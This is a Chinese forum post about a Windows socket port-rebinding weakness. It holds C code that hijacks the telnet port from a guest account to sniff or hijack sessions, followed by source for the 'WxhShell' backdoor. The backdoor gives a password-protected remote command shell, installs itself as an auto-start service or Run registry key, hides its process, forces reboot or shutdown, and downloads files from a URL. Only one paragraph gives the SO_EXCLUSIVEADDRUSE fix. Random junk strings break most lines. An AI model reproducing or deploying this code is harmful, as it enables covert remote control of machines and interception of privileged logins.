社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18386阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,e+.Q#r*Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /- z_"G  
qyl~*r*  
  saddr.sin_family = AF_INET; y$s}-O]/-  
$t.N |b`'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +P|$T:b  
-`wGF#}y(=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |[D~7|?  
G39H@@ *O0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~cSC-|$^&  
+f\tqucI3  
  这意味着什么?意味着可以进行如下的攻击: ^*C6]*C}te  
V)R-w`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ./kmI#gaV  
GEA@AD=^f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =N<Hc:<t4  
aO "JT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }n=Tw92g  
F"hi2@/TI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {0QD-b o  
DetBZ.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4TG|  
,~K_rNNZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q C~~  
'ZT!a]4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i=o>Bl@f  
)yJeh  
  #include lBQ|=  
  #include L8bq3Q'p  
  #include ?N11R?8  
  #include    = 1}-]ctVn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y#]Y$n  
  int main() /cI]Z^&  
  { c |C12b[  
  WORD wVersionRequested; Iu1P}R>C  
  DWORD ret; `=-}S+  
  WSADATA wsaData; |0qk  
  BOOL val; 2lp.Td`{  
  SOCKADDR_IN saddr; 40g&zU-  
  SOCKADDR_IN scaddr; :A[bqRqe  
  int err; n53} 79Uiz  
  SOCKET s; J2 5>t^  
  SOCKET sc; 3_ zI$Z  
  int caddsize; D!Gm9Pa}  
  HANDLE mt; W6_3f-4g  
  DWORD tid;   -%t0'cKn,  
  wVersionRequested = MAKEWORD( 2, 2 ); +5({~2Lzvp  
  err = WSAStartup( wVersionRequested, &wsaData ); ;3?M?E/$s  
  if ( err != 0 ) { yRgo1ow]  
  printf("error!WSAStartup failed!\n"); a"&Z!A:Z=  
  return -1; p}Gk|Kjlq,  
  } \2+xMv)8  
  saddr.sin_family = AF_INET; u j:w^t ][  
   n `n3[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /kJ*WA?J  
/60[T@Mz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ha/\&Z(  
  saddr.sin_port = htons(23); }6S4yepl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L,D!T&B  
  { 8:A<PV!+  
  printf("error!socket failed!\n"); wR4P0 [  
  return -1; {?jdPh  
  } We4 FR4`  
  val = TRUE; 2fLd/x~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H?~u%b@   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GqAedz;.  
  { DQ9s57VxC!  
  printf("error!setsockopt failed!\n"); lZua"Ju  
  return -1; EjF}yuq[  
  } \W\6m0-x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M84LbgGM%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 + zrwz\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J`8>QMK^5  
pts}?   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y k5P/H)  
  { I^wj7cFo5  
  ret=GetLastError(); ,yqzk.  
  printf("error!bind failed!\n"); 'LOqGpmVc  
  return -1; =ddx/zN  
  } =;a4 Dp  
  listen(s,2); #wd \&  
  while(1) nn   
  { X or ,}. w  
  caddsize = sizeof(scaddr); -#o+x Jj  
  //接受连接请求 6f>l~$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'H'+6   
  if(sc!=INVALID_SOCKET) 6m" 75  
  { VoyH:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '; dW'Uwc  
  if(mt==NULL) }F`Tp8/&j  
  { "^= [*i  
  printf("Thread Creat Failed!\n"); 7 b. -&,  
  break; h.9Lh ;j  
  } _%2Umy|  
  } ^sOm7S{  
  CloseHandle(mt); nMa^Eq#  
  } =zjUd  5  
  closesocket(s); 1b7xw#gLx  
  WSACleanup(); 5Hm!5:ZB  
  return 0; %1@<),  
  }   IeB6r+4|  
  DWORD WINAPI ClientThread(LPVOID lpParam) <ut DZ#k  
  { QP[a^5;Tt  
  SOCKET ss = (SOCKET)lpParam; BXo|CITso  
  SOCKET sc; W^ :/0WR  
  unsigned char buf[4096]; 6{$dFwl  
  SOCKADDR_IN saddr; AMd)d^;  
  long num; CdDd+h8  
  DWORD val; j?f <hQ  
  DWORD ret; ]X~g@O{>_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n6-Ic',;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   & fSc{/  
  saddr.sin_family = AF_INET; $XQxWH|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Dum`o^l#  
  saddr.sin_port = htons(23); O_Rcd&<mr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OJsd[l3xR  
  { F>QT|  
  printf("error!socket failed!\n"); ES\Q5)t/fo  
  return -1; *fl{Y(_OO  
  } [Hj'nA^  
  val = 100; @qPyrgy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WjrMd#^  
  { sk ?'^6Xh  
  ret = GetLastError(); \`/E !ub  
  return -1; ,![Du::1  
  } !wd'::C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t\pK`DM-[  
  { =kb6xmB^t  
  ret = GetLastError(); PDt<lJU+X  
  return -1; x$n~f:1Y  
  } Pc(n@'m~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8pPC 9ew\=  
  { (]Ye[j^"7  
  printf("error!socket connect failed!\n"); MkDK/K$s  
  closesocket(sc); )[^y t0%  
  closesocket(ss); yQZ/ ,KX  
  return -1; y|6@-:B.  
  } {^cF(7p  
  while(1) %i$M/C"(  
  { +_X,uvR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j/H>0^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %{7_E*I@n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A<SOT>m]  
  num = recv(ss,buf,4096,0); tL~,ZCQz  
  if(num>0) TCHqe19?  
  send(sc,buf,num,0); )'[x)q  
  else if(num==0) 2(m85/Hr\;  
  break; 2W3NL|P  
  num = recv(sc,buf,4096,0); u>}w-  
  if(num>0) kmlG3hOR,  
  send(ss,buf,num,0); ;&Bna#~B  
  else if(num==0) fvcW'T}r  
  break; +0XL5( '2  
  } gA~20LSt  
  closesocket(ss); C.J`8@a]?  
  closesocket(sc); b7B+eN ?z  
  return 0 ; ?YF${  
  } (O\U /daB  
#z ON_[+s9  
-S"5{N73  
========================================================== gNShOu  
'X7%35Y  
下边附上一个代码,,WXhSHELL D.'h?^kA  
7~_I=-  
========================================================== ]@v}y&  
lT8#bA  
#include "stdafx.h" & _; y.!  
*7ZGq(O  
#include <stdio.h> '|A|vCRCG  
#include <string.h> p SHSgd ~&  
#include <windows.h> M)&Io6>  
#include <winsock2.h> I>PZYh'.T  
#include <winsvc.h> U{6oLqwq3Y  
#include <urlmon.h> 33Jd!orXU  
i AdGgK  
#pragma comment (lib, "Ws2_32.lib") &FSmqE;@^  
#pragma comment (lib, "urlmon.lib") 9Ycn0  
57wFf-P  
#define MAX_USER   100 // 最大客户端连接数 /F.Wigv  
#define BUF_SOCK   200 // sock buffer ^/HW$8wEi  
#define KEY_BUFF   255 // 输入 buffer e}'gvm  
`vd= ec  
#define REBOOT     0   // 重启 ui:=  
#define SHUTDOWN   1   // 关机 Dj i^+;"&  
E@-ta):  
#define DEF_PORT   5000 // 监听端口 ^W~p..DF  
Z$ p0&~   
#define REG_LEN     16   // 注册表键长度 ~@T<gA9V  
#define SVC_LEN     80   // NT服务名长度 q2hFOm  
<a4 TO8  
// 从dll定义API xl(@C*.sC1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G O{ . 9_2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y}FZD?"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qFco3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j%L&jH 6@  
t 42ub  
// wxhshell配置信息 M*sR3SZ  
struct WSCFG { n`ViTwd]MQ  
  int ws_port;         // 监听端口 :w`3cw Q  
  char ws_passstr[REG_LEN]; // 口令 OoBCY-gj*  
  int ws_autoins;       // 安装标记, 1=yes 0=no j~E",7Q'  
  char ws_regname[REG_LEN]; // 注册表键名 33'Y[4  
  char ws_svcname[REG_LEN]; // 服务名 hoM|P8 }rh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Zt2'vcGpf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n(1')?"mA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MZV_5i@:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mj&57D\fq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AH#4wPxF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  x}TS  
/J3ZL[o?Q  
}; H#i{?RM@l  
E<E3&;qD  
// default Wxhshell configuration SJ?6{2^  
struct WSCFG wscfg={DEF_PORT, %zBCq"y  
    "xuhuanlingzhe", :kMHRm@{  
    1, ^03j8Pc-c  
    "Wxhshell", ^Hrn  ]  
    "Wxhshell", 4dawg8K`9  
            "WxhShell Service", 9Fo fr  
    "Wrsky Windows CmdShell Service", :#5xA?=* S  
    "Please Input Your Password: ", q%(EYM5Y  
  1, D&G"BZx|  
  "http://www.wrsky.com/wxhshell.exe", 6at1bQ$  
  "Wxhshell.exe" m2~&#c\  
    };  6e,xDr  
WWKvh  
// 消息定义模块 6$U]9D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0 B@n{PvR0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i;/xK=L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k o;>#::  
char *msg_ws_ext="\n\rExit."; wh6yPVVF/  
char *msg_ws_end="\n\rQuit."; V7d) S&*V  
char *msg_ws_boot="\n\rReboot..."; `x8J  
char *msg_ws_poff="\n\rShutdown..."; KRAcnY;u  
char *msg_ws_down="\n\rSave to "; dU)]:>Uz  
Byl^?5  
char *msg_ws_err="\n\rErr!"; {\H/y c|@  
char *msg_ws_ok="\n\rOK!"; Sr?#wev]rn  
aNcd` $0  
char ExeFile[MAX_PATH]; -l~Z0U>^  
int nUser = 0; !oPq?lW9  
HANDLE handles[MAX_USER]; +T/FeVQ  
int OsIsNt; <+MyZM(z>  
:y*NM,s  
SERVICE_STATUS       serviceStatus; U,#yqER'r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '* mH*?Y  
!+>v[(OzM  
// 函数声明 Zl 9aDg  
int Install(void); gE#>RM5D  
int Uninstall(void); )?+$x[f!*  
int DownloadFile(char *sURL, SOCKET wsh); Jk@]tAwoM  
int Boot(int flag); |4$M]Mf0  
void HideProc(void); H]Hv;fcC  
int GetOsVer(void); X%z }VA  
int Wxhshell(SOCKET wsl); V7#v6!7A@  
void TalkWithClient(void *cs); 8n1'x;  
int CmdShell(SOCKET sock); f}g\D#`]/  
int StartFromService(void); rpeJkG@+  
int StartWxhshell(LPSTR lpCmdLine); 'iLpE7  
P96pm6H_;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !.2<| 24  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BA\/YW @  
COH<Tj  
// 数据结构和表定义 :0Z^uuk`gq  
SERVICE_TABLE_ENTRY DispatchTable[] = KiGp[eb  
{ ;iDPn2?6?x  
{wscfg.ws_svcname, NTServiceMain}, 21k5I #U  
{NULL, NULL} fXrXV~'8  
}; $kR N h6  
^N8)]F,  
// 自我安装 {U&.D [{&  
int Install(void) rG,5[/l  
{ Gt9&)/#  
  char svExeFile[MAX_PATH]; Gy=B&boZ  
  HKEY key;  hi g2  
  strcpy(svExeFile,ExeFile); 8~5cJPi6  
KNH1#30 K  
// 如果是win9x系统,修改注册表设为自启动 xf|mlHS+  
if(!OsIsNt) { %Uz(Vd#K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2^?:&1:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7GDHz.IX  
  RegCloseKey(key); Z7 E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9?cP`hmi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R8.CC1Ix  
  RegCloseKey(key); iNMx"F0r  
  return 0; JxyB(  
    } bH"hX  
  } ve&zcSeb  
} IIy~[4dW  
else { ;WldHaZ9r  
Nj(" |`9"  
// 如果是NT以上系统,安装为系统服务 JEE{QjTh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `a9L%z  
if (schSCManager!=0) *Q1~S]g  
{ ayAo^q  
  SC_HANDLE schService = CreateService #r3l[ bKK  
  ( ! !PYP'e  
  schSCManager, 9cJH"  
  wscfg.ws_svcname, 1bGopi/  
  wscfg.ws_svcdisp, EUIIr4]  
  SERVICE_ALL_ACCESS, PTj&3`v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OgX6'E\E  
  SERVICE_AUTO_START, {[+2n]f_G  
  SERVICE_ERROR_NORMAL, ,^S@EDq  
  svExeFile, k__$ Q9qj(  
  NULL, ?&Pg2]g<  
  NULL, VN%INUi@  
  NULL, fryJW=  
  NULL, L<fvKmo(fw  
  NULL 6 PxW8pn  
  ); Mg^e3D1_  
  if (schService!=0) 5Ba[k[b^  
  { fHZTXvxoL  
  CloseServiceHandle(schService); f-r] |k  
  CloseServiceHandle(schSCManager); cW+t#>' r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *28pRvY:b  
  strcat(svExeFile,wscfg.ws_svcname); C)cwAU|h#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {W##^L~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /EG~sRvl}  
  RegCloseKey(key); J!DF^fLe  
  return 0; z)uuxNv[R  
    } }W ^: cp  
  } +S=Rn,  
  CloseServiceHandle(schSCManager); J/3_C6UZ  
} nJ" '  
} t+Op@*#%  
+kFxi2L6  
return 1; pAk/Qxl3eo  
} cCR+D.F  
N:9>dpP}O  
// 自我卸载 D$JHs4  
int Uninstall(void) \o';"Q1H  
{ 2ZQ}7`Y  
  HKEY key; [b$4Shx  
?ByM[E$  
if(!OsIsNt) { Vrvic4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2./ 3 \n2  
  RegDeleteValue(key,wscfg.ws_regname); r 6Q Q  
  RegCloseKey(key); @9&P~mo/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uB7 V?A  
  RegDeleteValue(key,wscfg.ws_regname); gsn)Wv$h  
  RegCloseKey(key); kkK kf'  
  return 0; n-TQ*&h]3S  
  } ]f1{n  
} BT@r!>Nl  
} \.g\Zib )  
else { bz | D-.  
IVW1]y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x\Y $+A,P  
if (schSCManager!=0) "al `$%(  
{ #h@J=Ki  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `N5|Ho*C  
  if (schService!=0) nB] >!q  
  { $O^v]>h  
  if(DeleteService(schService)!=0) { U!m @DJj  
  CloseServiceHandle(schService); wRrnniqf8  
  CloseServiceHandle(schSCManager); CpQN,-4  
  return 0; xB !6_VlB  
  } <ioO,oS'  
  CloseServiceHandle(schService); Zec <m8~  
  } >YUoh-]`  
  CloseServiceHandle(schSCManager); {%#)5l)  
} i>_u_)-  
} 5 Qoew9rA  
Q#IG;  
return 1; DvM5 k  
} $fgf Y8  
K|oacOF9  
// 从指定url下载文件 vp(;W,ba:|  
int DownloadFile(char *sURL, SOCKET wsh) Y-0?a?q2Fr  
{ =f(cH152T  
  HRESULT hr; BW,mwq  
char seps[]= "/"; ( 9]_ HW[  
char *token; [V 8{b{  
char *file; ^V %rag  
char myURL[MAX_PATH]; %_Yx<wR%  
char myFILE[MAX_PATH]; 2On_'^O  
B:Z_9,gj-N  
strcpy(myURL,sURL); Pm$q]A~  
  token=strtok(myURL,seps); ~n/ $  
  while(token!=NULL) [{r}u  
  { V_Wwrhua  
    file=token; u=YX9Mo!  
  token=strtok(NULL,seps); B(F,h+ajy  
  } qp}Ma8+  
<40rYr$/J  
GetCurrentDirectory(MAX_PATH,myFILE); a {ab*tM  
strcat(myFILE, "\\"); M3~K,$@  
strcat(myFILE, file); <x\7L2#p  
  send(wsh,myFILE,strlen(myFILE),0); ^V|Oxp'7_  
send(wsh,"...",3,0); we#wH-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pMs AyCAk  
  if(hr==S_OK) 76vy5R(.  
return 0; vLxQ *50v$  
else F]m gmYD%  
return 1; Z`&4SH=j  
u`(- -  
} zX#%{#9  
^;c16  
// 系统电源模块 |7KeR-  
int Boot(int flag) B>Wu;a.:L  
{ BA=,7y&;j  
  HANDLE hToken; sK=0Np=`  
  TOKEN_PRIVILEGES tkp; 0R0{t=VJZ  
l6kmS  
  if(OsIsNt) { DKVT(#@T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +\"-P72vjk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OMk5{-8B  
    tkp.PrivilegeCount = 1; VzJ5.mRQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H[b}kZW:a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _hG;.=sr  
if(flag==REBOOT) { ,^8MB.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,p;_\\<  
  return 0; IcIOC8WC  
} t\v+ogbk)  
else { umLb+GbI4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MCh#="L2  
  return 0; iRi{$.pVJ  
} MlW 8t[  
  } _8G>&K3T<  
  else { 6bBdIqGb}  
if(flag==REBOOT) {  _ q(Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T#Z%y!6  
  return 0;  ,YhwpkL  
} iK{T^vvk  
else { [_xyl e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IaFr&  
  return 0; 0J~Qq]g  
} *V(Fn-6(  
} zX{.^|  
<:8,niKtw  
return 1; TCvSc\Q[:1  
} 0iEa[G3  
CVXytS?@x  
// win9x进程隐藏模块 0uCT+-  
void HideProc(void) `P@- %T  
{ S'B6jJK2x  
%f8Qa"j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B pLEPuu30  
  if ( hKernel != NULL ) t5 a7DD  
  { f=J<*h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u&QKwD Uh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >NV=LOO  
    FreeLibrary(hKernel); dRvin[R8  
  } oojiJ~  
\.e4.[%[2-  
return; A\te*G0:S  
} *@V*~^V"J[  
ix Z)tNz  
// 获取操作系统版本 1@XgTL4  
int GetOsVer(void) !NKmx=I]  
{ D&hqV)d4R  
  OSVERSIONINFO winfo; ;K:8#XuV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |dadH7  
  GetVersionEx(&winfo); A[UP"P~u/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UBO^EVJ  
  return 1; N<z`yV  
  else ?TEK=mD#u  
  return 0; ``?6=mO  
} G%TL/Z40  
n"aCt%v  
// 客户端句柄模块 "r.2]R3  
int Wxhshell(SOCKET wsl) Hlj6$%.  
{ cQpnEO&SL  
  SOCKET wsh; L*?!Z^k  
  struct sockaddr_in client; nq`q[KV:  
  DWORD myID; Zzd/K^gg  
 [~Hg}-c  
  while(nUser<MAX_USER) nb dGt  
{ 2Eh@e([PMs  
  int nSize=sizeof(client); aW5~Be$ _  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xQt 3[(Z  
  if(wsh==INVALID_SOCKET) return 1; |k-XBp  
]@xL=%   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rcbP$t vz  
if(handles[nUser]==0) 6 o[/F3`  
  closesocket(wsh); [^PCm Z6n  
else nbvkP  
  nUser++; r!/0 j)  
  } Gm=>!.p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {^RG% &S  
{sS_|sX  
  return 0; ekzjF\!y  
} &^ I+s^\=  
! gp}U#Yv  
// 关闭 socket uzorLeu  
void CloseIt(SOCKET wsh) 1 ycc5=.  
{ Z6=~1'<X  
closesocket(wsh); .`LgYW  
nUser--; +*EKR  
ExitThread(0); _dmL}t-  
} t;Wotfc[#0  
y' tRANxQ  
// 客户端请求句柄 3;BvnD7  
void TalkWithClient(void *cs) q6[}ydV  
{ By)3*<5a_  
kr_oUXiX  
  SOCKET wsh=(SOCKET)cs; Hql5oA  
  char pwd[SVC_LEN]; r<FQX3  
  char cmd[KEY_BUFF]; aV|k}H{wt  
char chr[1]; Lb q_~   
int i,j; ?6:cNdN  
)}|mDN&P  
  while (nUser < MAX_USER) { H%.zXQ4}n  
9A;6x$s  
if(wscfg.ws_passstr) { q,,j',8kq/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vw r RZ"2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t.z$j  
  //ZeroMemory(pwd,KEY_BUFF); vo b$iS`>=  
      i=0; utd:&q|}  
  while(i<SVC_LEN) { mmN|F$;r  
tP]q4i  
  // 设置超时 =K6c;  
  fd_set FdRead; 6:RMU  
  struct timeval TimeOut; "#XtDpGk  
  FD_ZERO(&FdRead); [#X|+M&u6  
  FD_SET(wsh,&FdRead); g5TkD~w"  
  TimeOut.tv_sec=8; h3t$>vs2F"  
  TimeOut.tv_usec=0; .wri5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *SGlqR['\e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Su)|[/'  
z+6QZQk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NTVHnSoHh  
  pwd=chr[0]; fIEw(k<*  
  if(chr[0]==0xd || chr[0]==0xa) { z.59]\;U>  
  pwd=0; /d]~ly @uI  
  break; u[mY!(>nQ  
  } GXEcpc08  
  i++; %LcH>sV  
    } :tlE`BIp  
(. H ]|  
  // 如果是非法用户,关闭 socket *zSxG[s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^hysCc  
} #'g^Za  
#ZF>WoC@e?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (7 ijt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2mLUdx~c  
#'c%  
while(1) { yI:r7=KO  
U%n,XOJ  
  ZeroMemory(cmd,KEY_BUFF); |I/,F;'  
uwId  
      // 自动支持客户端 telnet标准   !3QRzkJX~  
  j=0; *78)2)=~  
  while(j<KEY_BUFF) { fK);!Hh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m6eFXP1U  
  cmd[j]=chr[0]; zw< 4G[u  
  if(chr[0]==0xa || chr[0]==0xd) { G#'Q~N  
  cmd[j]=0; \{:%v#ZZ  
  break; ?^Pq/VtZ  
  } )]tvwEo  
  j++; L2d:.&5  
    } "'~|}x1Uv  
8Kk3_ y  
  // 下载文件 ]2LXUYB  
  if(strstr(cmd,"http://")) { @kz!{g]Sn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ">4PePt.n  
  if(DownloadFile(cmd,wsh)) ]79~:m[C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+$cZ3,  
  else Y>G*'[U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uFC?_q?4\  
  } &0JK38(  
  else { /MhS=gVxM  
487YaioB$  
    switch(cmd[0]) { 5cgo)/3M@}  
  A3z/Bz4]:#  
  // 帮助 -.^3;-[  
  case '?': { ,%[LwmET  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C`3V=BB  
    break; ^l--zzO 8l  
  } r?>Vx -  
  // 安装 pXve02b1B  
  case 'i': { amMjuyW  
    if(Install()) uC- A43utv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z(KmS (  
    else E2kW=6VO>|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q!YF!WoBX  
    break; H_Iim[v#  
    } El'yiJ  
  // 卸载 A%h~Z a  
  case 'r': { c6t2Q6zV  
    if(Uninstall()) <b6s&"%=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *wV iH  
    else @+iC/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <nj IXa{  
    break; K*HCFqr U"  
    } y!SF/i?Py  
  // 显示 wxhshell 所在路径 y+?=E g  
  case 'p': { {a]pF.^kf  
    char svExeFile[MAX_PATH]; 3T" #T&eL  
    strcpy(svExeFile,"\n\r"); {5U1`>  
      strcat(svExeFile,ExeFile); :-w@^mli  
        send(wsh,svExeFile,strlen(svExeFile),0); tp#Z@5=  
    break; jo<>Hc{g>  
    } tB GkRd!  
  // 重启 (~=Qufy  
  case 'b': { CKx\V+\O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wDB)&b  
    if(Boot(REBOOT)) v$[ @]`  
